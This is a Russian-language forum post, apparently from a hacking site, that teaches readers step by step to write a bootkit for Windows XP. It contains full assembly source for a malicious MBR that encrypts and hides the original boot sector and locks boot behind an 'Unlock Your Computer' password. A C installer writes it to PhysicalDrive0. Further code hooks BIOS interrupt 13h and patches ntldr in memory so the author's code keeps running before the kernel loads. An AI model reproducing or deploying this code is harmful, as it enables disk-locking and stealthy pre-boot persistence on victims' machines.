HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Каждый хакер увлекающийся вирусологией должно быть слышал такие термины, как «руткит» и «буткит». Большинство назовет эти 2 слова "вирусом" и пойдет дальше брутить аккаунты Uplay. Но давайте разберёмся, что на самом деле из себя представляет этот bootkit.
Bootkit может он практически всё в зависимости от фантазии кодера. Самое ключевое — это повышение привилегий до уровня системы и перехват функций ядра, в общем, обычный руткит, только запускается он ещё до загрузки операционной системы. В этом цикле статей мы напишем свой буткит в учебных целях, который после старта системы будет запускать калькулятор. А если повезёт, то не только запускать будет, но и повышать привилегии. На самом деле, написание буткита очень полезно для закрепления знаний архитектуры системы. Это занятие повышенной сложности ввиду того, что трудно понять причину ошибки из-за отсутствия нормальной отладки. Писать мы будем под любимую Windows.
Прежде чем начать, убедитесь, что у вас есть все необходимое из списка:
- Windows XP на виртуальной машине
- C++
- Turbo Assembler
- Hiew
- Bochs (опционально)
Когда мы тыкаем на кнопку включения компа, загружается BIOS, он делает все свои дела по проверке компа на живучесть и, если всё хорошо, читает самый первый сектор первого диска в память по адресу 0:7c00h и джампует на него. Первый сектор первого диска называется MBR. Вот сюда-то и пишется первая часть буткита. MBR состоит из 3 частей.
- Первая часть — это код, занимать он может не больше 446 байт
- Вторая часть — таблица разделов — Partition Table. PT состоит из 4 записей, каждая из которых занимает по 16 байт.
- И последняя часть — сигнатурка 0x55aa. Да, она занимает два байта, но, если её не будет, система не будет грузиться дальше.
Перехватив прерывание, мы можем просплайсить любую понравившуюся нам функцию, главное, чтобы она вызывалась виндой. Это даст нам то, что при переходе в защищённый режим мы никуда не потеряемся. Как только вызовется перехваченная функция, наш обработчик должен будет выполнить полезную нагрузку, например, извлечь из секторов заранее записанную информацию (calc.exe или драйвер) в файл и снять перехват. В принципе это всё. Кстати, некоторые буткиты ещё устанавливают шлюз в GDT вместо того, чтобы грузить драйвер. Итак, первое, что мы попытаемся сделать — это просто загрузить ОС используя модифицированный MBR.
Задача инсталлятора такая: прочитать 1 сектор диска, заксорить его и записать в 4 сектор диска. После этого переписать первые 446 байт MBR кодом загрузчика нашего буткита. PT мы трогать не будем, так как эта важная информация, если её изменить, то система потеряет все свои файлы и не загрузится. Чтобы было интереснее на первом этапе, накодим себе код mbr, который будет осуществлять нам дополнительную защиту: перед загрузкой ос надо будет ввести пароль, если он правильный, то система загрузится.
Ввод получился таким:
Код:
.386
LOCALS
org 7c00h
CODE SEGMENT USE16
ASSUME CS: CODE, DS: CODE, SS: CODE
START:
nop ;flag of infected
cli
xor ax, ax
mov ds, ax
mov sp, 0FFFFh
sub word ptr ds:413h, 1h
mov ax, ds:413h
sti
shl ax, 6
cld
mov es, ax
xor di, di
mov si, 7c00h
mov cx, 200h
rep movsb
push es
push offset @@read_orig
retf
;;;;;;;;ISR of int13h;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@@read_orig:
xor ax, ax
mov es, ax
mov dx, es
mov bx, 7c00h
mov ah, 2
mov al, 1
mov cx, 4 ;0x200* (4-1) = 0x600 на диске
mov dx, 80h
int 13h
mov cx, 200h
mov al, 90h
mov si, bx
@@decrypt:
xor byte ptr es:[si], al
inc si
loop @@decrypt
push es
push bx
@@password_loop:
mov ax, 3
int 10h
mov ah, 0Eh
mov bx, cs
mov ds, bx
mov es, bx
xor bx, bx
lea si, EnterPassword
@@passwd: ;вывод предложения о вводе пасса
lodsb
test al, al
jz @@enter
int 10h
jmp @@passwd
lea si, password
@@enter:
xor ax, ax ;ввод символа
int 16h
mov ah, 0Eh
int 10h ;вывод на экран
xor al, 90h
cmp al, byte ptr cs:[si]
jnz @@password_loop
inc si
cmp byte ptr cs:[si], 0
jz @@stop_enter
jmp @@enter
@@stop_enter:
pop bx
pop es
push 0
push 7c00h
retf
OldSeg dw 0
OldOff dw 0
EnterPassword db 'Enter Password For Unlock Your Computer: ',0
password db 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0
times db 510-($-START) dup (0)
db 55h, 0AAh
CODE ENDS
END START
Осталось скомпилировать код и записать бинарник в MBR. Немного пояснений. Первым делом загрузчик должен перенести себя в другое место памяти. В какое именно — не так важно. В самом начале, в 12 строке кода, мы вычитаем 1 из переменной, которую инициализировал BIOS. Находится она по адресу 0:413h и отвечает за количество оперативной памяти компьютера в килобайтах. Мы откусим для своих нужд 1 кб и скопируем туда код. Операционная система уже никак не сможет обратиться по тому адресу, потому, что она будет думать, что памяти там уже нет. В общем идеальное место. После того, как мы скопировали свою тушу в новое место, выполняем переход туда и остальная работа уже будет делаться там. Первое что тут происходит — это чтение 4 сектора. Напомню, туда инсталлятор скопирует оригинальный MBR, предварительно поксорив его на 0x90. Дальше идёт расшифровка MBR и вывод строки с предложением ввода пароля. Правильность ввода проверяется немножко туповато, но сделать по-нормальному мне лень . Если введённый пароль правильный, то происходит переход на оригинальный MBR, и система загрузится, как будто ничего этого и не происходило. Какой пароль, думаю вы и без меня из кода поймёте, а если нет, то отложите затею с буткитом и подучите ассемблер.
Инсталлятор
Откройте получившийся бинарник в каком-нибудь HEX редакторе и скопируйте все байтики. Я сделал это в hiew и заюзал плагин, который мне не только скопировал байтики, но и преобразовал их в сишный массив. Плагин называется mbytes2csrc.hem.
Код:
#include <Windows.h>
#include <stdio.h>
#define MB_BUF_SIZE 0x200
unsigned char marked_bytes[MB_BUF_SIZE] = {
0x90, 0xFA, 0x33, 0xC0, 0x8E, 0xD8, 0xBC, 0xFF,
0xFF, 0x83, 0x2E, 0x13, 0x04, 0x01, 0xA1, 0x13,
0x04, 0xFB, 0xC1, 0xE0, 0x06, 0xFC, 0x8E, 0xC0,
0x33, 0xFF, 0xBE, 0x00, 0x7C, 0xB9, 0x00, 0x02,
0xF3, 0xA4, 0x06, 0x68, 0x29, 0x00, 0xCB, 0x9C,
0x60, 0x33, 0xC0, 0x8E, 0xC0, 0x8C, 0xC2, 0xBB,
0x00, 0x7C, 0xB4, 0x02, 0xB0, 0x01, 0xB9, 0x04,
0x00, 0xBA, 0x80, 0x00, 0xCD, 0x13, 0xB9, 0x00,
0x02, 0xB0, 0x90, 0x8B, 0xF3, 0x26, 0x30, 0x04,
0x46, 0xE2, 0xFA, 0x06, 0x53, 0xB8, 0x03, 0x00,
0xCD, 0x10, 0xB4, 0x0E, 0x8C, 0xCB, 0x8E, 0xDB,
0x8E, 0xC3, 0x33, 0xDB, 0xBE, 0x93, 0x00, 0xAC,
0x84, 0xC0, 0x74, 0x09, 0x90, 0x90, 0xCD, 0x10,
0xEB, 0xF5, 0xBE, 0xBD, 0x00, 0x33, 0xC0, 0xCD,
0x16, 0xB4, 0x0E, 0xCD, 0x10, 0x34, 0x90, 0x2E,
0x3A, 0x04, 0x75, 0xD1, 0x46, 0x2E, 0x80, 0x3C,
0x00, 0x74, 0x04, 0x90, 0x90, 0xEB, 0xE6, 0x5B,
0x07, 0x6A, 0x00, 0x68, 0x00, 0x7C, 0xCB, 0x00,
0x00, 0x00, 0x00, 0x45, 0x6E, 0x74, 0x65, 0x72,
0x20, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72,
0x64, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x55, 0x6E,
0x6C, 0x6F, 0x63, 0x6B, 0x20, 0x59, 0x6F, 0x75,
0x72, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x75, 0x74,
0x65, 0x72, 0x3A, 0x20, 0x00, 0xA1, 0xA2, 0xA3,
0xA4, 0xBD, 0xA1, 0xA2, 0xA3, 0xA4, 0xBD, 0xA1,
0xA2, 0xA3, 0xA4, 0xBD, 0xA1, 0xA2, 0xA3, 0xA4,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
};
int main()
{
DWORD rd;
BOOL ok;
BYTE *pBuf;
LPVOID mbr = VirtualAlloc(NULL, MB_BUF_SIZE, MEM_COMMIT, PAGE_READWRITE);
LPVOID buf = VirtualAlloc(NULL, MB_BUF_SIZE, MEM_COMMIT, PAGE_READWRITE);
HANDLE f = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
if (f == INVALID_HANDLE_VALUE) printf("INVALID_HANDLE_VALUE (1)\n");
ok = ReadFile(f, mbr, MB_BUF_SIZE, &rd, NULL);
if (!ok) printf("Error Read File (2)\n");
BYTE *p = (BYTE *)mbr;
if (*p == 0x90)
{
CloseHandle(f);
printf("Allready Infected!\n");
goto exit;
}
CloseHandle(f);
pBuf = (BYTE *)buf;
for (int i=0; i<MB_BUF_SIZE; i++, p++, pBuf++) *pBuf = *p ^ 0x90;
f = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (f == INVALID_HANDLE_VALUE) printf("INVALID_HANDLE_VALUE (3)\n");
SetFilePointer(f, 512 * (4 - 1), NULL, FILE_BEGIN);
ok = WriteFile(f, buf, MB_BUF_SIZE, &rd, NULL);
if (!ok) printf("Error Write date (4)\n");
memcpy(mbr, marked_bytes, 0x1bd);
SetFilePointer(f, 0, NULL, FILE_BEGIN);
WriteFile(f, mbr, MB_BUF_SIZE, &rd, NULL);
CloseHandle(f);
exit:
VirtualFree(mbr, MB_BUF_SIZE, MEM_RELEASE);
VirtualFree(buf, MB_BUF_SIZE, MEM_RELEASE);
system("pause");
return 0;
}
Думаю, тут пояснений не потребуется. Вот что получилось после перезагрузки:
В случае правильного ввода, система продолжает грузиться.
- Итак, мы научились запускать свой код до загрузки операционной системы прямиком из MBR.
8B F0 85 F6 74 21 80 3D сигнатура в ntldr
Эти буткиты на начальной стадии загрузки ОС заменяют несколько байт ntldr на свой код. Давайте взглянем на изменяемое место:
Как мы видим, модифицируются байты сразу после отработки функции _BlLoadBootDrivers. А именно модифицируются байтами 0xFF15xxxxxxxx. FF15 — опкод команды call dword ptr [addr]. Мы поступим точно также.
Чтобы получить возможность модифицировать ntldr, установим перехват на 2 и 42h функции тринадцатого прерывания BIOS. Эти функции производят чтение информации с секторов диска в память. Если это вторая функция, то прочитанные данные находятся по адресу es:bx. Количество секторов для чтения передаётся в регистре al. Во втором случае вся информация указывается в структуре Disk Address Packet (DAP).
Адрес DAP передаётся прерыванию в регистре esi. Как видно из таблицы, чтобы получить количество секторов, которое собирается прочитать прерывание, нужно прочитать память по адресу esi+2. Прочитанные данные будут находиться по этому указателю на память, находящемся по адресу esi + 4.
Это нужно будет учесть, так как наш обработчик прерывания будет делать следующее: если выполняется нужная нам функция, то мы вызываем оригинальный обработчик, а затем начинаем поиск в прочитанных данных сигнатуры рассмотренного выше места в ntldr. Сигнатура будет такой: 8B F0 85 F6 74 21 80 3D. Если нашли нужное нам место, то переписываем его на call dword addr. Так как переход будет осуществляться не по &addr, а по *addr, то заведём специальную переменную, куда сохраним адрес на наш обработчик. Если всё произойдёт по плану, то, когда ось будет уже переключена из реального режима в защищённый и выполнит функцию _BlLoadBootDrivers в ntldr, сразу после неё она встретит call на наш обработчик и выполнит его! Из этого выходит, что наш обработчик должен быть уже не 16 разрядным, а 32.
В нашем обработчике будет основной код буткита, его мы рассмотрим в следующей части, а сейчас пока попытаемся сделать так, чтобы система хотя бы грузилась. Так как мы затёрли нужный оси код, мы должны его вернуть повторить. В нашем обработчике пока будет выполняться единственный функционал — выполнение заменённых инструкций. Таким образом система будет думать, что всё так и задумано))). В этот раз мы будем компилировать код на nasm, так как очень удобно реализовать код в двух разных по разрядности сегментов, просто вставив use32 или use16 в нужное место. Вот что получилось:
Код:
START:
mov ax, 3
int 10h
mov cx, 10h
mov ah, 0Eh
mov al, 'N'
CCC:
int 10h
loop CCC
xor ax, ax
int 16h
cli
xor ax, ax
mov ds, ax
mov sp, 0FFFFh
sub word [413h], 1h
mov ax, [ds:413h]
sti
cld
shl ax, 6 ; mem *(2^10 / 2^4) = mem *2^(10-4) = mem *2^6
mov es, ax
xor di, di
mov si, 7c00h
mov cx, 200h
rep movsb
push es
push @@read_orig
retf
;;;;;;;;ISR of int13h;;;;;;;;;;;
@@Interapt:
cmp ah, 2h
jz @@execute
cmp ah, 42h
jz @@execute
db 0EAh
dw 0000, 0000
Int_13 EQU $-4
@@execute:
mov [cs:int13hFunc], ah
pushf ;orig int13h съест сохранённый регистр флагов из стека + cs и ip
call far [cs: Int_13]
jc @@int13h_ret
pushf
cli
push es
pusha
mov ah, 00h
int13hFunc EQU $-1
cmp ah, 42h
jnz @@int13h_f2
;;;Disck Address packet
;;;offset range size description
;;;00h 1 byte size of DAP = 16 = 10h
;;;01h 1 byte unused, should be zero
;;;02h..03h 2 bytes number of sectors to be read, (some Phoenix BIOSes are limited to a maximum of 127 sectors)
;;;04h..07h 4 bytes segment:offset pointer to the memory buffer to which sectors will be transferred (note that x86 is little-endian: if declaring the segment and offset separately, the offset must be declared before the segment)
;;;08h..0Fh 8 bytes absolute number of the start of the sectors to be read (1st sector of drive has number 0)
lodsw
lodsw ;ax = number of sectors to be read
les bx, [si]
@@int13h_f2:
test al, al
jle @@ExitInt_13
;al=колличество секторов для чтения
;ax:=ax*2^9=ax*512b
;es:bx - прочитанные данные
movzx cx, al
shl cx, 9
mov di, bx
mov al, 8Bh
cld
@@Search_8B:
repne scasb
jnz @@ExitInt_13 ;не найден байтик
;нашли 8b,ищем 74f685f0h
;8B F0 85 F6 74 21 80 3D
cmp dword [es:di], 74F685F0h
jnz @@Search_8B
cmp byte [es:di+4], 21h
jnz @@Search_8B
cmp word [es:di+5], 3D80h
jnz @@Search_8B
;Если мы тут, значит нашли место в ntldr: seg000:00026C8C
;ntldr
;00026C8C: 8BF0 mov si,ax
;00026C8E: 85F6 test si,si
;00026C90: 7421 jz 000026CB3 -- 1
;00026C92: 803D10 cmp b,[di],010
;xchg bx, bx
mov word [es:di-1], 15ffh
mov eax, cs
shl eax, 4 ;физический адрес своего сегмента
add eax, StartCODE32
mov [cs:Hook32], eax
sub eax, 4
mov [es:di+1], eax
;mov dword ptr es:[di-1], 0F685f08bh ; восстанавливаю сигнатуру
;mov dword ptr es:[di+3], 03D802174h
@@ExitInt_13:
popa
pop es
popf
@@int13h_ret:
iret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@@read_orig:
xor ax, ax
mov es, ax
mov dx, es
mov bx, 7c00h
mov ah, 2
mov al, 1 ;1 сектора
mov cx, 1 ;mbr
mov dx, 80h
int 13h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; HOOKED INTERUPT INT13h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;HOOKED INTERUPT INT13h ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
cli
mov ax, [4Eh] ;segment
mov [cs:Int_13+2],ax
mov ax, [4Ch] ;offset
mov [cs:Int_13],ax
mov word [4eh], cs
mov ax, @@Interapt
mov word [4Ch], ax
sti
@@boot:
push 0
push 7c00h
retf
Hook32 dd 0
use32
StartCODE32:
mov esi, eax
test eax, eax
jnz short Path_Done
pushfd
add dword [esp+4], 21h
popfd
Path_Done:
ret
times 510-($ - $$) db 0
db 55h, 0AAh
В самом начале кода, у нас на экран выводится 16 букв ‘N’, после чего система ожидает нажатия клавиши. Только после этого наш загрузчик начнёт выполняться. Это сделано для того, что во время тестирования, иногда забываешь закрыть образ дискеты из hex редактора и, поэтому, ось не может получить доступ к дискете и грузится со следующего загрузочного носителя в списке. В нашем случае с диска. Это может ввести в заблуждение, можно подумать, что наш код отработал и система успешно загрузилась, а на самом деле всё не так.
Я много потратил времени из-за таких глупых ошибок. Но, когда система ожидает нажатие клавиши, то можно быть уверенным, что мы загрузились именно с нашего загрузчика. Два раза в коде встречается место, когда мы рассчитываем полный физический адрес памяти имея в своём распоряжении сегмент и смещение. В реальном режиме сделать это проще простого.
Достаточно умножить номер сегмента на его размер и прибавить смещение. Как мы знаем, размер сегмента в реальном режиме равен 65536 байт или 2 ^ 16. В 17 строке, мы вычитаем 1 из переменной, где хранится общий объём оперативной памяти ПК в килобайтах, тем самым резервируя для себя место. Дальше мы переносим свою тушу в это «тёпленькое» местечко, где будет располагаться обработчик 13h прерывания и код, который будет выполняться системой в защищённом режиме. В 21 строке мы определяем номер сегмента нашего местечка, так как это требует операция movsb. По идее нужно было бы сделать это в два шага.- Первый — перевести общий размер памяти из килобайт в байты, умножив полученное значение на 1024, или сдвинув в лево на 10 разрядов
- Второй — разделить полученное значение на размер одного сегмента — на 65536 или сдвинуть вправо на 4 разряда. Таким образом, мы var413h * 2^10/2^4, что можно сделать одной операцией — var413h * 2 ^(10-4) или var413h*2^6. Так будет определённо быстрее.
Заключение
На данный момент у нас есть код, который запускается из MBR, перехватывает 13h прерывание BIOS. Данное прерывание выполняет чтение данных с секторов диска в память. Наш обработчик этого прерывания пробегается по прочитанным данным и ищет там сигнатуру файла ntldr. Ntldr — системный файла операционной системы. Его задача — загрузить винду. Именно в нём процессор переводится в 32х разрядный защищённый режим. Также в нём инициализируется ядро ОСи на начальном этапе, запуская файл ntoskrnl.exe. Мы заменили часть инструкций функции _BlOsLoader на переход на наш код, тем самым обеспечив себе возможность существования в защищённом режиме. Хочу подчеркнуть, что на данном этапе мы всё ещё находимся в реальном режиме.